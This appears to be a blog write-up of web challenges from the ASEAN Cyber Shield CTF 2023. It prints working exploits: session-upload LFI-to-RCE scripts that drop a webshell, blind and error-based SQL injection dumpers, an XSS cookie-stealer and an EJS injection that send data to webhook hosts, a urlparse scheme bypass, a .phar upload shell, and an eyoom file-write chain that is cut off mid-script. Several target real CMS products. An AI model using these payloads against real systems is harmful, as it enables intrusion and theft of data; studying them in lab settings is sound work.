Home ASEAN Cyber Shield (ACS) CTF 2023 [WEB]
Post
Cancel

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Table of Content

Preliminary Round

Easy PHPINFO

When browsing the challenge web app, we encounter with a PHP source code as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
echo "<h2>Do you need phpinfo? ... or not?</h2>";

$num=$_GET['num'];
$page=$_GET['page'];

if(preg_match("/^[0-9+-\/\*e ]/i", $num)){
    exit("<h2>I hate number<h2>");
}

if(preg_match("/flag|\.|php|conf|\*|'|\"/i", $page)){
    exit("<h2>don't do that.</h2>");
}


if(is_numeric($num)){
    if($page==null){
        echo phpinfo();
    }else{
        include_once($page);
    }
}else{
    highlight_file(__FILE__);
}

?>

We need to find a way to bypass two (2) if conditions and get into the include_once function. Let’s take a look at the first function that we need to bypass:

is_numeric($num)

Before our variable $num get into the above function, this variable will go through the preg_match() function with the following regex:

1
preg_match("/^[0-9+-\/\*e ]/i", $num)

By using online PHP Regex, we can identify and test each cases that has been filtered by this function.

Since it doesn’t blocked all characters, I can try look for URL encoded characters. By using a simple scripts, I identify few URL encoded characters that we can use to bypass is_numeric() with the regex that we have.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
%091
%0A1
%0B1
%0C1
%0D1
%201
%2B1
%2D1
%2E1
%301
%311
%321
%331
%341
%351
%361
%371
%381
%391

With this we can bypass the first filter!

The next part, we need to read /flag, but again our variable $page will go through preg_match() as follow

1
preg_match("/flag|\.|php|conf|\*|'|\"/i", $page)

Looking at the PHPINFO result, we found that session.upload_progress.enabled == On and session.upload_progress.cleanup == Off. This lead us to few reference about LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS since the code also using session_start().

Script to exploit (RCE) If session.upload_progress.cleanup == Off

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests, sys, random, string, io 

host = sys.argv[1]
sess_save_path = '/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d'
sess_id = ''.join(random.choice(string.digits) for _ in range(5))

cookies = { 'PHPSESSID': sess_id }
data = { 'PHP_SESSION_UPLOAD_PROGRESS': "<?php system($_GET['cmd']); ?>" }
files = { 'file': ('a', io.BytesIO(b'a')) }
requests.post(host, cookies=cookies, data=data, files=files)

params = {
  'num': '\x091',
  'page': sess_save_path + '/sess_' + sess_id,
  'cmd': 'cat /flag'
}
response = requests.get(host, cookies=cookies, params=params)

print(response.text)

Script to exploit (RCE) If session.upload_progress.cleanup == On

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import io
import sys
import requests
import threading

TARGET = sys.argv[1]
sessid = 'cmd'
sess_save_path = '/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d/sess_'+sessid

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 1000)
        session.post(
            TARGET,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php system($_GET[0]); ?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        session.get(f'{TARGET}?num=%091&page={sess_save_path}')
        response = session.get(TARGET+"/shell.php?0=cat+/flag")
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

I have a created a Dockerfile if you would like to play around with this exploit.

1
2
3
4
5
6
7
8
9
FROM php:7.4.33-apache
COPY index.php /var/www/html/
RUN echo "flag{fake}" > /flag
RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
RUN sed -i 's/;session.save_path = "\/tmp"/session.save_path = "\/tmp\/83031eb8-41ac-11ee-b1b3-009337b0183d"/g' /usr/local/etc/php/php.ini
RUN sed -i 's/;session.upload_progress.cleanup = On/session.upload_progress.cleanup = Off/g' /usr/local/etc/php/php.ini
USER www-data
RUN mkdir /tmp/83031eb8-41ac-11ee-b1b3-009337b0183d
EXPOSE 80

References

  1. https://blog.orange.tw/2018/10/
  2. https://xz.aliyun.com/t/9545

Capture The Image

Browsing the web challenge, we encounter with a page to send a link. Probabaly there is XSS involved in here?

Looking at the source code, we identify the following interesting endpoints

/submit (GET,POST): This endpoint is used to send the link to the bot. The bot have two (2) features, visit_with_cookies and visit_with_screencapture

/api/test (GET): This endpoint accept one argument key. It will strip and replace few keywords such as script, onerror and frame.

1
2
key = key.strip().lower()
key = key.replace('script','--').replace('onerror','--').replace('frame','--')

/captures (POST): This endpoint accept one argument filename. It will send the content of filename starting from directory captures.

1
2
3
filename = request.form.get('filename')
if filename:
    return send_from_directory('captures', filename)

The idea right now is to capture the bot secret cookies, using the following XXS payload with onload and send as link to bot.

1
http://127.0.0.1:22225/api/test?key=<svg on onload="a=document.cookie;fetch(`http://webhook.site/a7ab6dad-6104-4e6b-a8c1-444a208a9d01/?c=`%2Ba)"></svg>

By getting the secret cookies we can now access the second feature visit_with_screencapture. The second feature will browser.get(url), so if we could send file:///etc/passwd to the bot, we could get screenshot of /etc/passwd. But we can’t do that as it will block certain schemes and use urlparse() to get our URL schemes.

links.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
block_schemes = ["file", "gopher", "blob", "ftp", "glob", "data"]
block_host = ["localhost"]
input_scheme = urlparse(link_submitted).scheme
input_hostname = urlparse(link_submitted).hostname

if '://' not in link_submitted or 
    input_scheme in block_schemes or 
    input_hostname in block_host:
            return render_template('submit.html', message = "Link is not correct.", config = config)

if request.form.get('archive') == 'Y':
    uid = str(uuid4())
    message = message + "\nUID : " + uid
    t1 = threading.Thread(target = visit_with_screencapture, args = (link_submitted,request.form['secret'],uid,))
    t1.start()

headless.py

1
2
3
4
5
6
7
8
9
10
11
def visit_with_screencapture(link_submitted, secret, uid):
    url = link_submitted.strip()
    if secret == config['secret']:
        try:
            browser.set_page_load_timeout(15)
            browser.get(config['host'])
            browser.get(url)
            sleep(1)
            filename = "captures/"+uid+".png"
            browser.get_screenshot_as_file(filename)
            browser.quit()

We found out that urlparse() got a vulnerability recently this year Python Parsing Error Enabling Bypass CVE-2023-24329. Using this vulnerability we could easily bypass the block schemes. Below are the final payload to read the flag.

1
link= file:///flag&archive=Y&secret=redacted

Use the UID output in the response and retrieve the file using endpoints /captures

References:

  1. https://kb.cert.org/vuls/id/127587
  2. https://github.com/python/cpython/issues/102153

RenderBoard

Browsing the web page, we can see login page.

Looking at the source code, we identify a possible SQL injection in /check_duplicate endpoint as the variable id directly go into the SQL query but with some restrictions.

1
2
3
4
5
6
7
8
9
10
11
router.post('/check_duplicate', function (request, response) {
    try{
        const id1 = request.body.username;
        if (id1.match(/'|_|or| |and|%20|\.|\(|\)/i)) {
            response.status(400).json({ error: 'Invalid input' });
            return;
        }
        const id2 = id1.replace(new RegExp('substr|mid|like|char|hex|ord', 'gi'), '');
        const id = decodeURIComponent(id2);
        const query = `SELECT * FROM user WHERE redacted1 = '${id}'`;
        db.query(query, function (error, results, fields) {

The parameter username will go through a regex that will restrict some of our input. But this can easily bypass with URL encoded characters as at the end it will use decodeURIComponent() function to URL decoded it back.

With this in knowledge, we created a script to extract the username and password of an admin. One thing to take note the columns of the user tables are different from the one we have. So we will need to enumerate the columns name too.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests, sys
import urllib3,urllib
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def encode_all(string):
    a = "".join("%{0:0>2x}".format(ord(char)) for char in string)
    return a.replace("%20","/**/")

def sqli(q_left,chars):    
    # Register an account first with random userid
    data = """654321' and (%s)='%s""" % (q_left, chars)
    data = encode_all(data)
    data2 = {"username":data}
    r = requests.post(TARGET,data=data2)
    return "searchid" in r.text

def exploit(TARGET,SQL_TEMPLATE):
    i = 1
    dumped = ""
    dumped2 = ""
    while True:
        for chars in string.printable:
            if sqli(SQL_TEMPLATE%i,chars):      
                dumped += chars
                i+=1
                break
        if dumped == dumped2:
            break
        dumped2 = dumped
    return dumped

if __name__ == "__main__":
    TARGET = sys.argv[1]+"/auth/check_duplicate"

    # Enumerate Columns
    SQL_TEMPLATE = "select substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'acs_data' and table_name = 'user'),%s,1)"
    print(exploit(TARGET,SQL_TEMPLATE))

    # Enumerate username and password of admin
    SQL_TEMPLATE = "select substr((select group_concat(userid,':',passwd) from user where is_admin=1),%s,1)"
    print(exploit(TARGET,SQL_TEMPLATE))

Now, we have the credentials of an admin to login! Looking at package.json, we notice the version of ejs == 3.1.6. This version is popular with a vulnerability that lead to RCE. More explanation can be found in here. Grep for render and req give us one possible injection in endpoint admin_board_detail

1
2
└─$ grep -Hnri "\.render" | grep -i req
main.js:152:    res.render('admin_board_detail', { ...req.query, post: result[0], isAdmin });

Let’s try craft a simple payload just to check if we could set delimiter=NotExistsDelimiter

Now, we can craft a payload to get our flag

1
2
3
4
5
# Exfiltrate /flag.txt
/main/admin_notice/detail?no=1&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl "https://<webhook>/?c="`cat /flag.txt | base64 -w0`')

# Output the flag on the page (error)
main/admin_notice/detail?no=1&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('`cat /flag.txt`')

References:

  1. https://security.snyk.io/vuln/SNYK-JS-EJS-2803307

Flask Newbie

When browsing the web page, we can see there are 3 tabs of home, board and login. For this challenge we didn’t receive any source code.

While enumerating the web app, we identified the endpoint /<random> will show filtered in the response when we entered a number.

This indicates there is SSTI on that endpoints. We noticed we can only use {} and alphabets characters. Next, we tried to look at the {{config}} and found out that there is JWT_SECRET_KEY

Maybe with this secret_key we could login as admin? After register an account, we tried to change the value of sub to poppo. The main reason because the web app was created by poppo so we assume he is an admin himself.

Using the admin user, we can now using the admin only feature which is write

When using this upload feature, we tried various approach and notice that there is 502 error when using ../ in our filename.

Probably this web app enable debug = True, with this we gained some insights on how they sanitize the filename.

We can use .+./.+./fl+ag to get /flag

The file is a binary so we can download it and execute it to get our flag.

Trick or Trick

By the time of writing this writeup after the event, I don’t have the full source code for this challenge. During the event, we didn’t manage to solve the challenge but the flag probably somewhere in the server and we need to bypass the restrictions to get into include $include. On first day, we stuck at the rabbit hole and get the flag{fakeflag}. Let’s first get all the important codes to get into include.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Check if the $_SERVER['REQUEST_URI'] includes login2, SERVER, %
if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking');

// Use extract() with $_GET variable
extract($_GET);

// Setting $secretid and $secretpw
$secretid = "admin";
$secretpw = rand(10000,99999);

// If get this value correctly $login will become 1
if(($secretid == $_GET['id']) and ($secretpw == $_GET['pw'])) $login = 1;

// Bypass this to get into include $include.
if($login == 1 && $_GET['login2'] == 2){
    disallow($include);
    include $include;
}

Looking at the codes, we can try bruteforce rand(10000,99999) and get the correct value which will get us $login == 1. But that’s might not be the intended ways and we still need to have $_GET['login2'] == 2 which is impossible with the preg_match() will block us to do so.

One interesting function used in this challenge is extract(), to get more understanding you can read in here

During the competition I only tested on my machine to bypass the restrictions by using the following codes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// Check if the $_SERVER['REQUEST_URI'] includes login2, SERVER, %
if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking');

// Use extract() with $_GET variable
extract($_GET);

echo "\$login = ";
echo var_dump($login);
echo " | \$_GET['login2'] = " ;
echo var_dump($_GET['login2']);

// Bypass this to get into include $include.
if($login == 1 && $_GET['login2'] == 2){
    disallow($include);
    include $include;
}
?>

But it always give my an error when trying to set the $_GET == 2 with using my Kali’s PHP.

1
FROM php:8.2.10-apache

After changing the PHP version to 7.4.33, I got different results. Probably the challenge’s server using the old version of PHP.

1
FROM php:7.4.33-apache

Nice, with this I can now focus on getting the flag but I don’t have the code for function disallow() (T_T) . Let’s assume that function will disallow us to start with certain wrapper such as php://. Thus we can can use PHP:// and get our flag!

1
2
└─$ curl -s "localhost/?login=1&_GET=2&include=PHP://filter/convert.base64-encode/resource=flag.php" | base64 -d
flag{fake}

I have a created a Dockerfile if you would like to play around with this exploit.

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
   function disallow($input) {
        // Check if the input starts with "php://"
        if (strpos($input, 'php://') === 0) {
             exit; // Disallow
        }
   }

    session_start();
    error_reporting(0);
    $time = 600;
    $now = time();
    
    if (isset($_SESSION['last_activity']) && ($now - $_SESSION['last_activity']) > $time) {
        session_unset(); session_destroy();
    }
    $_SESSION['last_activity'] = $now;
    if($_SERVER['REQUESTS_URI'] === '/') {
        header('Location: /index.php');
        exit;
    }
    if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking');

    extract($_GET);
    $secretid = "admin";
    $secretpw = rand(10000,99999);
    
    if (!isset($_SESSION['guestpw'])) {
        $_SESSION['guestpw'] = rand(1000, 9999);
    }
    $guestpw = $_SESSION['guestpw'];

    if(($secretid == $_GET['id']) and ($secretpw == $_GET['pw'])) $login = 1;

    if($login == 1 && $_GET['login2'] == 2){
        disallow($include);
        include $include;
    }
    else if ($_POST['id'] === 'guest' && $_POST['pw'] === strval($guestpw)) {
        echo "<div class='message'>Login Success<hr></div>";
        result_();
    }
    else {
        echo "<div class='message'>Login Fail<hr></div>";
    }
?>

Dockerfile

1
2
3
4
5
FROM php:7.4.33-apache
COPY index.php /var/www/html/
RUN echo "flag{fake}" > /var/www/html/flag.php
RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
EXPOSE 80

Final Round

Zerggling

We received the source code of this application gnuboard5 == v5.8.2.5

Looking at the internet, we found out there is a vulnerability involved with SQL Injection in version v5.8.2.6 in here with KVE-2023-0046.

  1. mobile/shop/listtype.php

  1. shop/listtype.php

The name of the challenge give us a hint that it might also involved with type juggling as it fix == to ===. When accessing /shop/listtype.php?type=1a2 we will get the result of $type == 1.

Since it using ==, we could use this for our SQL Injection later. Also the PHP version of the docker instance is PHP 7.4.3.

1
2
3
4
5
6
php > echo var_dump("1" == 1);
bool(true)
php > echo var_dump("1a" == 1);
bool(true)
php > echo var_dump("1abasasdasdasd" == 1);
bool(true)

Nice, now we could bypass the ==. But where is the SQL injection? A good method that I always use is by enabling the SQL error log.

1
2
3
4
5
sudo docker exec -it <docker_id> mariadb --user root -pgnuboard

SET global general_log = on;
SET global general_log_file='/var/log/mysql/mysql.log';
SET global log_output = 'file';

By accessing /shop/listtype.php?type=1a23, we can identify in the mysql.log where is the SQL injection located. Our input was inserted in it_type<here>.

Nice, we could craft a payload in here to restrieve the flag in flag table. But we now encounter with one restrictions. Our inputs can’t use ' but since it using SELECT, we could use this with UNION.

1
$type = isset($_REQUEST['type']) ? preg_replace("/[\<\>\'\"\\\'\\\"\%\=\(\)\s]/", "", $_REQUEST['type']) : '';

After looking g5_shop_item table, it has 90 columns and we can try look at which columns will be reflected on the page or we can even not doing in that way.

At first, we encounter an error unknown column because it_type1a123 is not exists in table g5_shop_item.

After enumerate the tables, we identify the best column to use which is it_type1.

The full script to get the flag as shown below

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests, sys
import urllib.parse

payload = "1"
payload += " union select "
payload += "flag,"*89
payload += "flag FROM FLAG#"
payload = payload.replace(" ","/**/")
payload = urllib.parse.quote(payload)

r = requests.get(sys.argv[1]+"/shop/listtype.php?type="+payload)
if "ACS" in r.text:
    print(r.text)
1
2
└─$ python3 exploit.py http://192.168.48.130:20002 | grep -i 'ACS{'
ACS{fake_flag}

Zigger Zagger

We received the source code of this application zigger == v2.4.3 in here. We found out that there are some critical vulnerabilities patched in v2.4.5.

1
2
3
4
[Complementary measures based on recommendations from the Korea Internet & Security Agency]
- A security issue was discovered in the set_password() method and patched
- Security issues were found in record_dataupload() and record_datadrop() methods and patched
- An issue vulnerable to injection attacks was discovered when downloading attachments from the bulletin board, so this was patched

To exactly identify the vulnerable files and patches, we decided to do code diffing on version v2.4.3 and v2.4.5. Im using meld which really easy to install sudo apt install meld.

Download : v2.4.4

Download : v2.4.5

We found several files that might be interesting for us to get the flag. The first file we found located in lib/pdo.class.php

We found out that the function set_password() has been used in the login function.

Nice, now we could abuse the password to bypass the authentication since it using the set_password().

Full script to bypass the authencation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests,sys
import urllib3,urllib
import string
import io
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def auth_bypass(TARGET):
	data = """x'))))) or 1=1#"""
	headers = {
    	"Referer":TARGET
	}
	data2 = {
        	"redirect":"%2F",
        	"id":"admin",
        	"pwd":data
        	}
	r = session.post(TARGET+"/sign/signin-submit?rewritetype=submit",data=data2,headers=headers)
	return "alert->location" in r.text

session = requests.Session()

if __name__ == "__main__":
    TARGET = sys.argv[1]
    if auth_bypass(TARGET):
        print(session.cookies)
        print("Bypass authentication")
1
2
3
└─$ python3 bypass_authentication.py http://192.168.48.130:22030
<RequestsCookieJar[<Cookie PHPSESSID=p9n41hva9q7b4v4n48hv4r2pph for 192.168.48.130/>]>
Bypass authentication

I tried to read the flag by abusing this SQL injection, but I’m not really sure why it’s not working. Also, reading all writeup from others team, they don’t even need to bypass this authentication. The next SQLi vulnerable endpoint can be exploit and get the flag. It’s located in mod/board/controller/file.php

We found an endpoint that use board_id (GET request) with NO AUTHENTICATION needed. Since it gave us an error in the response we could extract the flag using the following payloads.

List of Payloads:

1
2
3
4
5
6
7
8
# (1) updatexml()
/mod/board/controller/result/result?board_id=123123' and updatexml(null,concat(0x0a,(select flag from flag)),null)-- -

# (2) extractvalue()
mod/board/controller/result/result?board_id=123123' and extractvalue(rand(),concat(0x3a,(SELECT flag FROM flag)))-- -

# (3) Basic
mod/board/controller/result/result?board_id=123123' or (select 1 and row(1,1)>(select count(*),concat(CONCAT((select flag from flag)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- -

Easy? Web CMS Shell

We received the source code of this application xpressengine == v3.0.14 in here. We found out that there are some patches in v3.0.15 that added .phar extensions into blacklisted extensions.

Searching around, we found some hints where the upload function located in CVE-2021-26642

1
When uploading an image file to a bulletin board developed with XpressEngine, a vulnerability in which an arbitrary file can be uploaded due to insufficient verification of the file. A remote attacker can use this vulnerability to execute arbitrary code on the server where the bulletin board is running.

To access the bulletin board, we need to register and login first.

We found an endpoint to create a new board in /board/create. There are two (2) items we can upload either Attachements or Media Library.

At first, we tried to upload a .jpg file at /media_library/file and in the response it reflected the full path with the filename to access the image file.

1
/storage/app/public/media/public/media_library/19/61/20231126201643cee1cac995540c33e06d792e077297bd31e7e504.jpg

Since the version that we have doesn’t blacklisted .phar yet, we can try upload the following codes with filenames consists of .phar extensions.

1
<?php system('cat /flag'); ?>

Baby TodoList

We received the source code of this application and it’s a custom web application. When browsing the web page, we encounter with a login page.

Looking at each of the .php files, we found few interesting PHP files global.php and index.php.

index.php

  • One of the include_once has the variable $theme that depends on the $preview variable.
  • The $preview variable by default is $preview = false.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$preview = false;
include_once 'global.php';
if (!isset($_SESSION["user_id"])) {
    header("Location: login.php");
    exit();
}

$todos_fetch = mysqli_query($conn, "SELECT * FROM todos WHERE user_id = " . $_SESSION["user_id"]);
$todos_row = @mysqli_fetch_all($todos_fetch, MYSQLI_ASSOC);

$users_fetch = mysqli_query($conn, "SELECT * FROM users WHERE id = " . $_SESSION["user_id"]);
$user = @mysqli_fetch_array($users_fetch);

include_once 'theme.header.php';
include_once "./themes/".($preview?$theme['fname']:$user["theme"]);
include_once 'theme.footer.php';
?>

global.php

  • If $_COOKIE['preview_theme'] isset, the value is directly go into the query after going few functions.
  • If the $theme got a result, it will set $preview = true.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// Will replace /flag to f-l-a-g
// This function trying to stop us to read /flag
function badwordfiltering($string){
	$string = preg_replace("/flag/i", "f-l-a-g", $string);
	return $string;
}

// base64_decode(substr(base64_decode("<BASE64>"),1));
// Can add space infront of the first base64 for the substr(,1) function
function decrypt($string){
	$r = substr(base64_decode($string), 1);
	return base64_decode($r);
}

// set cookies preview_theme and add SQL payload
if(isset($_COOKIE['preview_theme'])){
	$preview_theme = badwordfiltering(htmlspecialchars(decrypt($_COOKIE['preview_theme'])));
    $themes_fetch = mysqli_query($conn, "SELECT * FROM themes WHERE tname = '$preview_theme'");
    $theme = @mysqli_fetch_array($themes_fetch);
    if($theme){
        $preview = true;
    }
}
?>

To make it simple, first we need to get into index.php. We can only access index.php with a session. So let’s register a user and login to get a session. Once we get a session, we will have options to change the theme either RED, BLUE or GREEN.

Once we click a theme, it will do a POST request to /todo_process.php and set the users table with the correct theme value either red, blue or green. We know that the function of include_once will include red.php, blue.php or green.php only using the todo_process.php.

1
$sql = "UPDATE users SET theme = '$theme' WHERE id = " . $_SESSION['user_id'];

But, with cookies of preview_theme we can chain with SQL injection to include other files instead of just the default one in the SQL.

The full decryption before going to $preview_theme as follow

1
2
3
$a = htmlspecialchars(base64_decode(substr(base64_decode("IEp5QnZjaUF4UFRFZ0l3PT0="),1)));
$b = preg_replace("/flag/i", "f-l-a-g", $a);
echo $b;

But isn’t htmlspecialchars will block us? Looking at the changelog in here, it was mentioned that starting from PHP 8.1.0 it has set flags from ENT_COMPAT to ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 and our docker instance use PHP version 7.4.3. To test with different PHP, we can use online compiler in here

PHP 7.4.3

PHP 8.1.0

Full script to read /flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests, sys
from base64 import b64encode

s = requests.Session()

url = sys.argv[1]

# Register + Login
data = {
	'username': 'username',
	'password': 'password'
}
res = s.post(url + '/register_process.php', data=data)
res = s.post(url + '/login_process.php', data=data)

# Bypass /flag with CONCAT()
cookies = {
	'preview_theme': b64encode(b' ' + b64encode(b"' union select 1,2,CONCAT('../../../../fla','g'),4 #")).decode()
}
res = s.get(url + '/index.php', cookies=cookies)
print(res.text)

CMS v4.5.3

We received the source code of this application eyoom_builder == v4.5.3. We found out that there is one interesting bug discovered by a security researcher at Stealien with title of Bug Hunting: The Importance of Vulnerability Chaining

The article didn’t disclosed the full path to get the RCE but atleast it give us a hint what to look at.

Based on the article there is an LFI vulnerability located in eyoom/class/theme.class.php. The LFI could also lead to RCE if we could find a way to upload a PHP file with the content that we want.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set_user_theme($arr) {
    // Get $_COOKIE['unique_theme_id']
    if (get_cookie('unique_theme_id')) {
        $unique_theme_id = get_cookie('unique_theme_id');
    } else {
        $unique_theme_id = date('YmdHis', time()) . str_pad((int)(microtime()*100), 2, "0", STR_PAD_LEFT);
        set_cookie('unique_theme_id',$unique_theme_id,3600);
    }

    // The cookies value will ends with .php and save into $file variable
    $file = $this->tmp_path . '/' . $_SERVER['REMOTE_ADDR'] . '.' . $unique_theme_id . '.php';
    if (file_exists($file)) {
        // If the .php file exists it will include_once
        include_once($file);
        if ($is_shop_theme) {
            $arr['theme']       = $user_config['theme'];
        } else {
            $arr['shop_theme']  = $user_config['shop_theme'];
        }
    }

    // Save $arr value to $_config
    $_config = $arr;

    // Save the file in $file location with .php
    parent::save_file('user_config', $file, $_config);
}

That’s what the article were discussing about with the save_file() function but we need to find by ourself where we could abuse it. Also this function will use addslashes() on the $value variable but not including $key variable. If we could find a way to add a custom $key, it could help us write the file with .php extensions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function save_file($outvar, $filename, $info=array(), $int=false) {
    $fp = @fopen($filename, 'w');
    $contents  = "<?php\n";
    $contents .= "if (!defined('_EYOOM_')) exit;\n";
    $contents .= "\$" . $outvar . " = array(\n";
    if ($info != NULL) {
        foreach ($info as $key => $value) {
            if (!is_array($value)) {
                if (!$int) {
                    if (!is_int($key)) {
                        $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n";
                    }
                } else $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n";
            } else {
                $arr = '';
                foreach ($value as $k => $v) {
                    if (!$int) {
                        if (!is_int($key)) {
                            $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\",";
                        }
                    } else $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\",";
                }
                if ($arr) {
                    $arr = substr($arr,0,-1);
                    $contents .= "\t\"" . $key . "\" => array(" . $arr . "),\n";
                }
            }
        }
    }

    $contents .= ");\n";
    @fwrite($fp, $contents);
    @fclose($fp);
    @chmod($filename, 0644);
}

With the save_file() in eyoom/class/theme.class.php, we can create .php file anywhere in the server. We just need to create a cookies with md5("unique_theme_id") = base64_encode("../../../../../../var/www/html/data/tmp/poc"). Also, we can change $file location with the cookies, but what about the data in $config?

1
2
3
4
5
6
7
8
function get_cookie($cookie_name)
{
    $cookie = md5($cookie_name);
    if (array_key_exists($cookie, $_COOKIE))
        return base64_decode($_COOKIE[$cookie]);
    else
        return "";
}

Looking at the same page theme.class.php, I found out that we can set either theme or shop_theme. Thus the value will be used in set_user_theme() shown at the previous codes above.

1
2
3
4
5
6
7
if (isset($_GET['theme']) || isset($_GET['shop_theme'])) {
    $_user['theme']      = clean_xss_tags(trim($_GET['theme']));
    $_user['shop_theme'] = clean_xss_tags(trim($_GET['shop_theme']));
    $_config = $this->set_user_theme($_user);
} else {
    $_config = $this->get_user_theme();
}

With this information, we can either use theme or shop_theme to write .php file anywhere in the server.

1
2
3
4
5
# use ?theme
curl "http://192.168.48.130:20007/?theme=test" -b "23ec334208a8862afdb7baa48ed00486=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvYw=="

# use ?shop_theme
curl "http://192.168.48.130:20007/?shop_theme=test" -b "23ec334208a8862afdb7baa48ed00486=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvYw=="

So we can now create a .php file anywhere in the server, but we are still not able to write anything inside the php file. Then I found out a possible endpoint eyoom/core/member/push_info.php that we could abuse.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
    // Load common.php
    $g5_path = '../../..';
    include_once($g5_path.'/common.php');

    // Check if $_POST['mb_id'] isset or not
    $mb_id = isset($_POST['mb_id']) ? trim($_POST['mb_id']) : '';
    if (!$mb_id) exit;

    // Check if file exists
    $push_file = $push_path.'/push.'.$mb_id.'.php';
    if (file_exists($push_file)) {
        include_once($push_file);
    } else exit;

    // Loop each $push_item array and check if got value or not
    $push_item = array(
        'respond',
        'memo',
        'follow',
        'unfollow',
        'subscribe',
        'upsubscribe',
        'likes',
        'guest',
        'levelup',
        'adopt',
    );

    foreach ($push_item as $val) {
        if ($push[$val]) {
            $item = $val;
            $push_tocken = true;
            break;
        }
    }

    // Check if $push_tocken true
    if ($push_tocken) {
        // Check if push[$item]['alarm'] got any value. If yes, it will trigger save_file()
        if (!$push[$item]['alarm']) {
            $push[$item]['alarm'] = true;
            $qfile  = new qfile;
            $qfile->save_file('push',$push_file,$push);
        }
    }

The folder push is not available in my docker when fresh install. Let’s try register a new user first. With a valid user session, we can see its tying to send a POST request to /eyoom/core/member/push_info.php every 1 minute.

With this request, the folder push will be created in /var/www/html/data/member/push/

Now we can try create a file into this folder with mb_id == poc.

1
2
3
4
5
# Base64 Encode
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2RhdGEvbWVtYmVyL3B1c2gvcHVzaC5wb2M=

# Base64 Decode
../../../../../../../../var/www/html/data/member/push/push.poc

Inside push_info.php, we noticed it will traverse back three (3) times and include common.php. Inside the file common.php, we noticed familiar function that we saw during preliminary round which is extract() function.

1
2
3
4
5
6
7
8
# Current path (html/eyoom/core/member/push_info.php)
$g5_path = '../../../';
include_once($g5_path.'/common.php');

# common.php (html/common.php)
@extract($_GET);
@extract($_POST);
@extract($_SERVER);

Since, it includes in push_info.php, we can abuse this to set the variable $push to have some value so it will trigger the save_file() function. We know with $push[$item]['alarm'] == false and push_tocken == true, we could trigger the save_file(). Thus the payload will be as follow:

1
mb_id=poc&push[memo][alarm]=0&push[".phpinfo()."]=test

Run again the request will include the file as it exists

The full script to get the flag as shown below

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests, sys
import hashlib
import base64


s = requests.session()
TARGET = sys.argv[1]

# Login
data = {"url":"%2f","mb_id":"test1234","mb_password":"test123@!!!"}
r = s.post(TARGET+"/bbs/login_check.php",data=data, allow_redirects=False, proxies={"http":"127.0.0.1:8080"})
if r.status_code == 302:
    print("[+] Login Successfull")
else:
    exit()

# Create .php file
filename = b"shell"
cookies = {
    hashlib.md5(b"unique_theme_id").hexdigest(): base64.b64encode(b"../../../../../../../var/www/html/data/member/push/push."+filename).decode()
}
